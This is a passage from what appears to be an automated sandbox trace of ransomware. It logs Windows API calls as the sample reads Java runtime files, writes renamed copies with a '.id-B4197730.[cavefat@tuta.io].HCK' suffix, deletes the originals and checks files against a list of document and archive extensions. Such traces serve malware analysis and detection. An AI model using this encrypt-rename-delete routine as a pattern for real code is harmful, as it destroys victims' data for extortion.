nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0227.976] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.976] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0227.976] SetEndOfFile (hFile=0x4d0) returned 1 [0227.977] CloseHandle (hObject=0x4d0) returned 1 [0227.977] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.977] SetEndOfFile (hFile=0x4cc) returned 1 [0227.980] CloseHandle (hObject=0x4cc) returned 1 [0227.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.980] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString=".doc") returned 4 [0227.981] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0227.981] lstrlenW (lpString=".docx") returned 5 [0227.981] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0227.981] lstrlenW (lpString=".pdf") returned 4 [0227.981] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString=".xls") returned 4 [0227.981] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString=".xlsx") returned 5 [0227.981] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0227.981] lstrlenW (lpString=".ppt") returned 4 [0227.981] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString=".zip") returned 4 [0227.981] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString=".rar") returned 4 [0227.981] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString=".bz2") returned 4 [0227.981] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0227.981] lstrlenW (lpString=".7z") returned 3 [0227.981] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString=".dbf") returned 4 [0227.981] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString=".1cd") returned 4 [0227.981] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString=".jpg") returned 4 [0227.981] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.981] lstrlenW (lpString=".doc") returned 4 [0227.981] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0227.981] lstrlenW (lpString=".docx") returned 5 [0227.981] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0227.981] lstrlenW (lpString=".pdf") returned 4 [0227.981] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0227.981] lstrlenW (lpString=".xls") returned 4 [0227.982] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0227.982] lstrlenW (lpString=".xlsx") returned 5 [0227.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0227.982] lstrlenW (lpString=".ppt") returned 4 [0227.982] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0227.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.982] lstrlenW (lpString=".zip") returned 4 [0227.982] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0227.982] lstrlenW (lpString=".rar") returned 4 [0227.982] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0227.982] lstrlenW (lpString=".bz2") returned 4 [0227.982] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0227.982] lstrlenW (lpString=".7z") returned 3 [0227.982] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0227.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.982] lstrlenW (lpString=".dbf") returned 4 [0227.982] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0227.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.982] lstrlenW (lpString=".1cd") returned 4 [0227.982] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0227.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0227.982] lstrlenW (lpString=".jpg") returned 4 [0227.982] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0227.982] lstrcmpiW (lpString1=".jfc", lpString2=".HCK") returned 1 [0227.982] lstrlenW (lpString="profile.jfc") returned 11 [0227.982] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0227.983] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=20065) returned 1 [0227.983] CloseHandle (hObject=0x4cc) returned 1 [0227.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0227.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0227.983] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.983] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.983] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0227.986] GetLastError () returned 0x0 [0227.986] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4e61, lpOverlapped=0x0) returned 1 [0227.989] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4e70, lpOverlapped=0x0) returned 1 [0227.990] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.990] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xea, lpOverlapped=0x0) returned 1 [0227.990] SetEndOfFile (hFile=0x4d0) returned 1 [0227.990] CloseHandle (hObject=0x4d0) returned 1 [0227.990] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.990] SetEndOfFile (hFile=0x4cc) returned 1 [0227.992] CloseHandle (hObject=0x4cc) returned 1 [0227.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.993] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0227.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.993] lstrlenW (lpString=".doc") returned 4 [0227.993] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0227.994] lstrlenW (lpString=".docx") returned 5 [0227.994] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0227.994] lstrlenW (lpString=".pdf") returned 4 [0227.994] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".xls") returned 4 [0227.994] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".xlsx") returned 5 [0227.994] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0227.994] lstrlenW (lpString=".ppt") returned 4 [0227.994] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString=".zip") returned 4 [0227.994] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".rar") returned 4 [0227.994] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".bz2") returned 4 [0227.994] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0227.994] lstrlenW (lpString=".7z") returned 3 [0227.994] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString=".dbf") returned 4 [0227.994] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString=".1cd") returned 4 [0227.994] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString=".jpg") returned 4 [0227.994] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString=".doc") returned 4 [0227.994] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0227.994] lstrlenW (lpString=".docx") returned 5 [0227.994] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0227.994] lstrlenW (lpString=".pdf") returned 4 [0227.994] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".xls") returned 4 [0227.994] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".xlsx") returned 5 [0227.994] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0227.994] lstrlenW (lpString=".ppt") returned 4 [0227.994] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.994] lstrlenW (lpString=".zip") returned 4 [0227.994] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".rar") returned 4 [0227.994] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0227.994] lstrlenW (lpString=".bz2") returned 4 [0227.994] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0227.994] lstrlenW (lpString=".7z") returned 3 [0227.994] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0227.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.995] lstrlenW (lpString=".dbf") returned 4 [0227.995] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0227.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.995] lstrlenW (lpString=".1cd") returned 4 [0227.995] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0227.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0227.995] lstrlenW (lpString=".jpg") returned 4 [0227.995] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0227.995] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0227.995] lstrlenW (lpString="jfr.jar") returned 7 [0227.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0227.995] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=560581) returned 1 [0227.995] CloseHandle (hObject=0x4cc) returned 1 [0227.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0227.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0227.996] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.996] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0227.997] GetLastError () returned 0x0 [0227.997] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0228.337] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0228.344] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.344] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe2, lpOverlapped=0x0) returned 1 [0228.345] SetEndOfFile (hFile=0x4d0) returned 1 [0228.345] CloseHandle (hObject=0x4d0) returned 1 [0228.345] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.345] SetEndOfFile (hFile=0x4cc) returned 1 [0228.353] CloseHandle (hObject=0x4cc) returned 1 [0228.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.354] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0228.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.355] lstrlenW (lpString=".doc") returned 4 [0228.355] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.355] lstrlenW (lpString=".docx") returned 5 [0228.355] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0228.355] lstrlenW (lpString=".pdf") returned 4 [0228.355] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.355] lstrlenW (lpString=".xls") returned 4 [0228.355] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.355] lstrlenW (lpString=".xlsx") returned 5 [0228.355] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0228.355] lstrlenW (lpString=".ppt") returned 4 [0228.355] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.355] lstrlenW (lpString=".zip") returned 4 [0228.355] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.355] lstrlenW (lpString=".rar") returned 4 [0228.355] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.355] lstrlenW (lpString=".bz2") returned 4 [0228.355] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.355] lstrlenW (lpString=".7z") returned 3 [0228.355] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.355] lstrlenW (lpString=".dbf") returned 4 [0228.356] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".1cd") returned 4 [0228.356] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".jpg") returned 4 [0228.356] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".doc") returned 4 [0228.356] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.356] lstrlenW (lpString=".docx") returned 5 [0228.356] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0228.356] lstrlenW (lpString=".pdf") returned 4 [0228.356] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.356] lstrlenW (lpString=".xls") returned 4 [0228.356] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.356] lstrlenW (lpString=".xlsx") returned 5 [0228.356] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0228.356] lstrlenW (lpString=".ppt") returned 4 [0228.356] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".zip") returned 4 [0228.356] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.356] lstrlenW (lpString=".rar") returned 4 [0228.356] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.356] lstrlenW (lpString=".bz2") returned 4 [0228.356] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.356] lstrlenW (lpString=".7z") returned 3 [0228.356] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".dbf") returned 4 [0228.356] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".1cd") returned 4 [0228.356] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0228.356] lstrlenW (lpString=".jpg") returned 4 [0228.356] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.357] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0228.357] lstrlenW (lpString="logging.properties") returned 18 [0228.357] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.357] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2455) returned 1 [0228.357] CloseHandle (hObject=0x4cc) returned 1 [0228.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0228.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.358] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.358] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0228.359] GetLastError () returned 0x0 [0228.359] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x997, lpOverlapped=0x0) returned 1 [0228.360] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0228.361] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.361] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0228.361] SetEndOfFile (hFile=0x4d0) returned 1 [0228.361] CloseHandle (hObject=0x4d0) returned 1 [0228.361] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.361] SetEndOfFile (hFile=0x4cc) returned 1 [0228.363] CloseHandle (hObject=0x4cc) returned 1 [0228.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.363] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program 